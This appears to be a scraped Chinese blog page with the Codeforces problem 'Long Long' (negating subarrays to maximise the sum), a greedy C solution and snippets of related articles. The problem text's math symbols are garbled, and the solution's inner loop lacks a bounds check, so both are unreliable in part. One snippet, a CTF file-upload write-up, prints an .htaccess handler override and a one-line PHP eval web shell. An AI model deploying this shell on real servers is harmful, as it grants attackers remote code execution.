当前位置: 首页 > news >正文

B. Long Long

time limit per test

2 seconds

memory limit per test

256 megabytes

input

standard input

output

standard output

Today Alex was brought array a1,a2,…,an�1,�2,…,�� of length n�. He can apply as many operations as he wants (including zero operations) to change the array elements.

In 11 operation Alex can choose any l� and r� such that 1≤l≤r≤n1≤�≤�≤�, and multiply all elements of the array from l� to r� inclusive by −1−1. In other words, Alex can replace the subarray [al,al+1,…,ar][��,��+1,…,��] by [−al,−al+1,…,−ar][−��,−��+1,…,−��] in 11 operation.

For example, let n=5�=5, the array is [1,−2,0,3,−1][1,−2,0,3,−1], l=2�=2 and r=4�=4, then after the operation the array will be [1,2,0,−3,−1][1,2,0,−3,−1].

Alex is late for school, so you should help him find the maximum possible sum of numbers in the array, which can be obtained by making any number of operations, as well as the minimum number of operations that must be done for this.

Input

The first line contains a single integer t� (1≤t≤1041≤�≤104) — number of test cases. Then the descriptions of the test cases follow.

The first line of each test case contains one integer n� (1≤n≤2⋅1051≤�≤2⋅105) — length of the array.

The second line contains n� integers a1,a2,…,an�1,�2,…,�� (−109≤ai≤109−109≤��≤109) — elements of the array.

It is guaranteed that the sum of n� for all test cases does not exceed 2⋅1052⋅105.

Output

For each test case output two space-separated numbers: the maximum possible sum of numbers in the array and the minimum number of operations to get this sum.

Pay attention that an answer may not fit in a standard integer type, so do not forget to use 64-bit integer type.

Example

input

Copy

 

5

6

-1 7 -4 -2 5 -8

8

-1 0 0 -2 1 0 -3 0

5

2 -1 0 -3 -7

5

0 -17 0 1 0

4

-1 0 -2 -1

output

Copy

27 3
7 2
13 1
18 1
4 1

Note

Below, for each test case, only one of the possible shortest sequences of operations is provided among many. There are others that have the same length and lead to the maximum sum of elements.

In the first test case, Alex can make operations: (1,4)(1,4), (2,2)(2,2), (6,6)(6,6).

In the second test case, to get the largest sum you need to make operations: (1,8)(1,8), (5,6)(5,6).

In the fourth test case, it is necessary to make only one operation: (2,3)(2,3).

解题说明:此题是一道数学题,采用贪心算法,最大值肯定是所有数取绝对值相加,至于需要转换的次数,直接遍历查找其中的负数,如果负数单独出现就只转换一个负数,否则转换连续出现的负数。

#include <stdio.h>
#include <stdlib.h>
typedef long long LL;
int a[200010];int main()
{int t = 0;scanf("%d", &t);while (t--){int n = 0;scanf("%d", &n);LL cnt = 0, sum = 0;for (int i = 0; i < n; i++){scanf("%d", &a[i]);if (a[i] > 0){sum += a[i];}else{sum -= a[i];}}for (int i = 0, j = 0; i < n; i++){if (a[i] >= 0){continue;}j = i;while (a[j] <= 0){j++;}if (j != i){cnt++;}i = j - 1;}printf("%lld %lld\n", sum, cnt);}return 0;
}

相关文章:

B. Long Long

time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an&#xfffd;1,&#xfffd;2,…,&#xfffd;&#xfffd; of length n&#xfffd;. He can apply as m…...

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...

Python中的绝对和相对导入

在本文中&#xff0c;我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式&#xff0c;但它不是唯一的…...

C语言关于与运算符

C语言关于&与&&运算符 我们知道&#xff0c;在很多场景中&和&&通常可以相互代替&#xff0c;那么它们到底有什么不同呢&#xff1f; 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下&#xff1a; movb -5(%rbp), %al …...

计算机网络(速率、宽带、吞吐量、时延、发送时延)

速率&#xff1a; 最重要的一个性能指标。 指的是数据的传送速率&#xff0c;也称为数据率 (data rate) 或比特率 (bit rate)。 单位&#xff1a;bit/s&#xff0c;或 kbit/s、Mbit/s、 Gbit/s 等。 例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。 速率往往是指额定速率或…...

kubectl入门

一.kubectl的三种资源管理方式&#xff1a; 二. kubectl资源介绍&#xff1a; 1.namespace&#xff1a;实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问&#xff0c;如果不想让两个pod之间相互访问&#xff0c;就将其划分到不同ns下。 2.pod&#xff…...

Android JNI系列详解之ndk-build工具的使用

一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用&#xff0c;今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式&#xff1a; 如上图所示&#xff0c;第一种方式是Android.mkApplication.mkgradle的方式生成…...

【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句

商城检索服务 1.检索页面的搭建 商品检索页面我们放在search服务中处理&#xff0c;首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <!-- 添加Thymeleaf的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifa…...

QTday4

实现闹钟功能 1》 头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...

设计模式之命令模式(Command)的C++实现

1、命令模式的提出 在软件开发过程中&#xff0c;“行为请求者”和“行为实现者”通常呈现一种“紧耦合”&#xff0c;如果行为的实现经常变化&#xff0c;则不利于代码的维护。命令模式可以将行为的请求者和行为的实现者进行解耦。具体流程是将行为请求者封装成一个对象&…...

取证工具prodiscover的基本操作

前言提醒 取证工具ProDiscover在网上讲解操作的文章实在太少&#xff0c;一是prodiscover是用于磁盘取证的工具&#xff0c;本身比较小众比不上其他的编程软件能用到的地方多&#xff0c;二是这个工具是用来恢复提取磁盘中被删除的文件&#xff0c;是比较隐晦的软件。 需要注…...

flutter plugins插件【二】【FlutterAssetsGenerator】

2、FlutterAssetsGenerator 介绍地址&#xff1a;https://juejin.cn/post/6898542896274735117 配置assets目录 ​ 插件会从pubspec.yaml文件下读取assets目录&#xff0c;因此要使用本插件&#xff0c;你需要在pubspec.yaml下配置资源目录 flutter:# The following line ens…...

看懂UML类图

UML 统一建模语言(Unified Modeling Language&#xff0c;UML)是一种为面向对象系统的产品进行说明、可视化和编制文档的一种标准语言&#xff0c;是非专利的第三代建模和规约语言。UML是面向对象设计的建模工具&#xff0c;独立于任何具体程序设计语言。 类的表示 首先看那个…...

keras深度学习框架通过简单神经网络实现手写数字识别

背景 keras深度学习框架&#xff0c;并不是一个独立的深度学习框架&#xff0c;它后台依赖tensorflow或者theano。大部分开发者应该使用的是tensorflow。keras可以很方便的像搭积木一样根据模型搭出我们需要的神经网络&#xff0c;然后进行编译&#xff0c;训练&#xff0c;测试…...

React 中的 ref 如何操作 dom节点,使输入框获取焦点

聚焦文字输入框 .focus() 获取焦点 当用户点击按钮时&#xff0c;handleClick 函数会被调用&#xff0c;从而将焦点聚焦到文本输入框上。 // 焦文字输入框 import { useRef } from "react";const FocusForm () > {const inputRef useRef<any>(null);func…...

最短路Dijkstra,spfa,图论二分图算法AYIT---ACM训练(模板版)

文章目录 前言A - Dijkstra Algorithm0x00 算法题目0x01 算法思路0x02 代码实现 B - 最长路0x00 算法题目0x01 算法思路0x02 代码实现 C - 二分图最大匹配0x00 算法题目0x01 算法思路0x02 代码实现 D - 搭配飞行员0x00 算法题目0x01 算法思路0x02 代码实现 E - The Perfect Sta…...

AK 微众银行 9.3 笔试 Java后端方向

T1(模拟,二分) (没看清买的糖果只有前缀&#xff0c;一开始用二分写了&#xff0c;后来意识到也没改了&#xff0c;简单写的话&#xff0c;直接模拟就好了) #include <bits/stdc.h>#define endl \nusing namespace std;const int N 50010;int n; int a[N];bool check(…...

了解java中的通配符“?“

目录 通配符的作用 先看一段代码 用通配符"?"后,代码变化 结论 通配符上界 通配符下界 对通配符上下界的注释理解及其练习代码 简记: ? 用于在泛型的使用&#xff0c;即为通配符. 在Java中&#xff0c;通配符&#xff08;wildcard&#xff09;主要用于泛型…...

浙大陈越何钦铭数据结构07-图6 旅游规划【最小堆实现】

题目&#xff1a; 题目和浙大陈越何钦铭数据结构07-图6 旅游规划是一样的&#xff0c;不同的是用最小堆实现函数【FindMinDist】。 时间复杂度对比&#xff1a; 浙大陈越何钦铭数据结构07-图6 旅游规划&#xff1a; 创建图&#xff08;CreateGraph&#xff09;&#xff1a;时…...

OpenShift 4 - 用 Prometheus 和 Grafana 监视用户应用定制的观测指标(视频)

《OpenShift / RHEL / DevSecOps 汇总目录》 说明&#xff1a;本文已经在 OpenShift 4.13 的环境中验证 文章目录 OpenShift 的监控功能构成部署被监控应用用 OpenShift 内置功能监控应用用 Grafana 监控应用安装 Grafana 运行环境配置 Grafana 数据源定制监控 Dashboard 演示视…...

隐马尔科夫模型(HMM)实战:从天气预测到股票市场分析

1. 隐马尔科夫模型入门&#xff1a;从天气预报说起 第一次听说隐马尔科夫模型(HMM)时&#xff0c;我正盯着手机上的天气预报发呆。为什么明明显示"晴天"&#xff0c;下午却突然下起暴雨&#xff1f;这让我开始思考天气预测背后的数学模型。HMM正是解决这类问题的利器…...

Video2X AI视频增强实用指南:零基础掌握高效画质提升解决方案

Video2X AI视频增强实用指南&#xff1a;零基础掌握高效画质提升解决方案 【免费下载链接】video2x A lossless video/GIF/image upscaler achieved with waifu2x, Anime4K, SRMD and RealSR. Started in Hack the Valley II, 2018. 项目地址: https://gitcode.com/GitHub_Tr…...

深入ProtoBuf编译:从Google.Protobuf.dll到Protoc.exe的完整实践指南

1. ProtoBuf基础与编译环境搭建 Protocol Buffers&#xff08;简称ProtoBuf&#xff09;是Google开发的一种高效数据序列化工具。我第一次接触ProtoBuf是在处理微服务通信时&#xff0c;当时被它比JSON快3-5倍的序列化速度震惊了。简单来说&#xff0c;ProtoBuf就像是个智能的数…...

cv_unet_image-colorization稳定性验证:连续72小时高负载运行无内存泄漏

cv_unet_image-colorization稳定性验证&#xff1a;连续72小时高负载运行无内存泄漏 1. 项目简介与测试背景 在AI工具的实际应用中&#xff0c;稳定性与可靠性往往比惊艳的演示效果更为重要。一个工具能否在长时间、高负载的场景下稳定运行&#xff0c;直接决定了它能否从“玩…...

告别Armoury Crate臃肿困扰:GHelper革新性华硕笔记本硬件控制方案带来性能突破

告别Armoury Crate臃肿困扰&#xff1a;GHelper革新性华硕笔记本硬件控制方案带来性能突破 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and…...

生信分析效率翻倍:fastp多线程+UMI处理技巧全解析(含实战案例)

生信分析效率翻倍&#xff1a;fastp多线程UMI处理技巧全解析&#xff08;含实战案例&#xff09; 在肿瘤基因检测和ctDNA测序领域&#xff0c;数据预处理环节往往成为整个分析流程的瓶颈。传统工具在处理海量测序数据时&#xff0c;不仅耗时长达数小时&#xff0c;还经常面临内…...

多模态扩展:OpenClaw结合Qwen3.5-4B-Claude处理截图信息

多模态扩展&#xff1a;OpenClaw结合Qwen3.5-4B-Claude处理截图信息 1. 为什么需要多模态能力 作为一个长期依赖文本交互的技术爱好者&#xff0c;我最初对OpenClaw的理解停留在"能通过自然语言控制电脑的AI助手"层面。直到上个月需要处理大量产品截图中的文字信息…...

Go Routine 调度器任务执行机制

Go语言凭借其轻量级线程——Goroutine&#xff0c;成为高并发编程的热门选择。而Goroutine的高效执行&#xff0c;离不开Go调度器的精妙设计。本文将深入探讨Go调度器的任务执行机制&#xff0c;揭示其如何实现高效并发。 **Goroutine的轻量特性** Goroutine相比传统线程更加…...

安装即实战,用快马平台生成集成openclaw的数据采集与分析示例项目

最近在做一个数据采集相关的项目&#xff0c;需要用到openclaw这个工具。说实话&#xff0c;刚开始安装和集成的时候踩了不少坑&#xff0c;后来发现InsCode(快马)平台可以一键生成完整的实战项目&#xff0c;简直不要太方便。今天就把我的经验分享给大家&#xff0c;希望能帮到…...

CentOS虚拟机启动卡在紧急模式?别慌,手把手教你用xfs_repair修复XFS元数据损坏

CentOS虚拟机启动卡在紧急模式&#xff1f;手把手教你用xfs_repair拯救XFS元数据 当你正准备开始一天的工作&#xff0c;突然发现CentOS虚拟机无法正常启动&#xff0c;屏幕上赫然显示着"emergency mode"的红色警告。这种突如其来的系统崩溃&#xff0c;往往让运维人…...